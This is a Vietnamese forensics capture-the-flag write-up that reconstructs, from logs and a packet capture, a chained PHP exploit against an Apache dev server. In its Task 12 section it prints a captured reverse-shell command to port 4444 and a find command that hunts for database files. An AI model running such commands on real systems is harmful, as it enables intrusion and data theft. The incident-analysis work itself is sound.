dOOMs Day - Easy
dOOMs Day - Easy
Scenario
Suspicious traffic was observed on one of the internal Dev servers at DevNotes.org. Logs from the server and a packet capture from the subnet have been provided to you for analysis.
Introduction
- Ta nhận được các file sau đây:
1
2
3
4
5
6
7
8
❯ ls -R
drwxr-xr-x - dkoazw 28 Thg 10 15:58 logs
.rw-r--r-- 269M dkoazw 28 Thg 10 14:47 Capture.pcap
./logs:
.rw-r--r-- 150k dkoazw 28 Thg 10 13:54 access.log
.rw-r--r-- 507M dkoazw 28 Thg 10 13:55 error.log
.rw-r--r-- 0 dkoazw 28 Thg 10 13:24 other_vhosts_access.log
Task 1: What version of PHP was running on the server?
Task 5: Which two CVEs are chained together to achieve remote code execution?
- Đúng ra ta nên làm theo thứ tự, tuy nhiên task 5 này lại là tiền đề để làm các task sau. Dựa trên phiên bản php
8.4.26và tình hình gần đây thì hiển nhiên đáp án sẽ là:CVE-2026-109618, CVE-2026-109619.
Task 2: At what exact date and time did the attacker send the first request belonging to the exploitation attempt? Provide the timestamp of the earliest anomalous request from the attacker’s IP address in the web server logs.
- Qua quá trình đọc logs thì ta thấy có rất nhiều hành vi lạ từ ip
192.168.72.1:
- Đồng thời mình có tìm được bài nghiên cứu này về 2 cve trên, thì nó có:

- Khi ta ctrl-f
PHP_SESSION_UPLOAD_PROGRESStrongerror.logcũng sẽ trả raipnhư trên.
1
[Wed Oct 28 08:42:58.297155 2026] [dumpio:trace7] [pid 79:tid 79] mod_dumpio.c(100): [client 192.168.72.1:63175] mod_dumpio: dumpio_in (data-HEAP): --SSSSSSSSSSSSSSSSS\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n
- Nên ta chỉ cần mò 1 chút là sẽ ra được request đầu tiên của attacker hay đáp án:
2026-10-28 08:42:52.
Task 3: To occupy the worker pool, the exploit sent stalled multipart uploads. What is the value of the boundary separator used in these requests?
Task 4: The exploit deliberately occupied the Apache worker pool with stalled multipart uploads, forcing the exploit’s requests to land on the same single worker so that memory is leaked from the same process heap. How many workers did the exploit deliberately occupy?
- Bài này có vẻ ứng với phase d bằng cách gửi
MaxRequestWorkers - 1nhằm để chiếm chỗ, còn worker cuối sẽ bị request khai thác liên tiếp, do chúng bị xử lý bởi 1 tiến trình nên gây ra bug. - Quay lại với câu hỏi thì đáp án là:
149. Từ dãy request lạ trong ảnh mình chụp ởTask 2thì nó chạy từ lines 405 tới 553:
1
2
3
405 192.168.72.1 - - [28/Oct/2026:08:43:00 +0000] "POST /index.php HTTP/1.1" 200 0 "-" "-"
...
553 192.168.72.1 - - [28/Oct/2026:08:42:58 +0000] "POST /index.php HTTP/1.1" 200 0 "-" "-"
Task 6: The exploit used the Out of Memory (OOM) primitive during exploitation. What was the PHP memory limit, in bytes, that the exploit exhausted to trigger the out-of-memory vulnerability?
Task 7: The exploit leaks heap memory from the server to retrieve a heap address value, which is then used to facilitate the remote code execution process. What is the name of the cookie through which this leaked data is delivered to the attacker?
Task 8: What is the size of this leaked cookie according to the logs?
- Muốn tìm được cookie size thì ta phải tìm ra được “oversized Set-Cookie: PHPSESSID= responses”, vì thế mình đã tìm ra chính xác
PHPSESSIDcó vấn đề”:
- Đáp án là:
773518.
Task 9: When did the attacker achieve remote code execution capability?
- 2 file
error.logvàaccess.logkhông đủ để ta xác định rce khi nào, nên ta sẽ phân tíchCapture.pcap. Với bài này thì mọi code trên web server đều chạy dướiwww-datanên ta sẽ thực hiện lọc:
- Sau đó ta tiến hành kiểm tra kĩ hơn packet đầu tiên:

- Đáp án là:
2026-10-28 08:43:02.
Task 10: What port was used for the remote code execution shell?
- Đáp án là:
4444, ta đã vô tình giải ởTask 9.
Task 11: When did the exploit cause a second crash of an Apache worker process?
Task 12: What is the command executed to find database files on the compromised server?
- Trong lúc làm
Task 9thì mình đã có checktcp streamcủa packet đầu tiên:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@29ea26c62b7f:/var/www/html$
cat /proc/version
cat /proc/version
Linux version 6.12.38+kali-amd64 (devel@kali.org) (x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12)
www-data@29ea26c62b7f:/var/www/html$
uname -a
uname -a
Linux 29ea26c62b7f 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 GNU/Linux
www-data@29ea26c62b7f:/var/www/html$
ps aux
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 190504 30628 ? Ss 08:24 0:00 apache2 -DFOREGROUND
www-data 12 0.0 0.5 190928 21416 ? S 08:24 0:00 apache2 -DFOREGROUND
www-data 13 0.0 0.5 190924 20836 ? S 08:24 0:00 apache2 -DFOREGROUND
www-data 14 0.0 0.5 190928 20092 ? S 08:24 0:00 apache2 -DFOREGROUND
www-data 15 0.0 0.5 190928 20544 ? S 08:24 0:00 apache2 -DFOREGROUND
www-data 16 0.0 0.5 190928 20708 ? S 08:24 0:00 apache2 -DFOREGROUND
www-data 17 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 18 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 19 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 20 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 21 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 22 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 23 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 24 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 25 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 26 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 27 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 28 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 29 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 30 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 31 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 32 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 33 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 34 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 35 0.0 0.3 190560 13452 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 36 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 37 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 38 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 39 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 40 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 41 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 42 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 43 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 44 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 45 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 46 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 47 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 48 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 49 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 50 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 51 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 52 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 53 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 54 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 55 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 56 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 57 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 58 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 59 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 60 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 61 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 62 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 63 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 64 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 65 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 66 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 67 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 68 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 69 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 70 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 71 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 72 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 73 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 74 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 75 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 76 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 77 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 78 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 79 1.0 0.6 195020 24116 ? S 08:42 0:01 apache2 -DFOREGROUND
www-data 80 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 81 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 82 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 83 0.0 0.3 190560 13388 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 84 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 85 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 86 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 87 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 88 0.0 0.3 190560 13260 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 89 0.0 0.3 190560 13272 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 90 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 91 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 92 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 93 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 94 0.0 0.4 190584 16128 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 95 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 96 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 97 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 98 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 99 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 100 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 101 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 102 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 103 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 104 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 105 0.0 0.3 190560 13416 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 106 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 107 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 108 0.0 0.3 190560 13388 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 109 0.0 0.3 190560 13368 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 110 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 111 0.0 0.3 190560 13388 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 112 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 113 0.0 0.3 190560 13452 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 114 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 115 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 116 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 117 0.0 0.3 190560 13452 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 118 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 119 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 120 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 121 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 122 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 123 0.0 0.3 190560 13452 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 124 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 125 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 126 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 127 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 128 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 129 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 130 0.0 0.4 190928 19696 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 131 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 132 0.0 0.3 190560 13452 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 133 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 134 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 135 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 136 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 137 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 138 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 139 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 140 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 141 0.0 0.3 190560 13372 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 142 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 143 0.0 0.3 190560 13436 ? S 08:42 0:00 apache2 -DFOREGROUND
www-data 144 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 145 0.5 2.4 271968 97652 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 146 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 147 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 148 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 149 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 150 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 151 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 152 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 153 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 154 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 155 0.0 0.3 190560 13432 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 156 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 157 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 158 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 159 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 160 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 161 0.0 0.3 190560 13436 ? S 08:43 0:00 apache2 -DFOREGROUND
www-data 162 0.0 0.0 2672 1668 ? S 08:43 0:00 sh -c -- bash -c 'bash -i >& /dev/tcp/192.168.72.1/4444 0>&1'
www-data 163 0.0 0.0 4056 3012 ? S 08:43 0:00 bash -c bash -i >& /dev/tcp/192.168.72.1/4444 0>&1
www-data 164 0.0 0.0 4320 3536 ? S 08:43 0:00 bash -i
www-data 167 0.0 0.0 6392 3548 ? R 08:44 0:00 ps aux
www-data@29ea26c62b7f:/var/www/html$
find / -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.db3" -o -name "*.s3db" -o -name "*.sl3" \) 2>/dev/null
<" -o -name "*.s3db" -o -name "*.sl3" \) 2>/dev/null
/var/www/data/devnotes.sqlite
www-data@29ea26c62b7f:/var/www/html$
strings
strings
- Hiển nhiên đáp án là:
find / -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.db3" -o -name "*.s3db" -o -name "*.sl3" \) 2>/dev/null.
This post is licensed under CC BY 4.0 by the author.





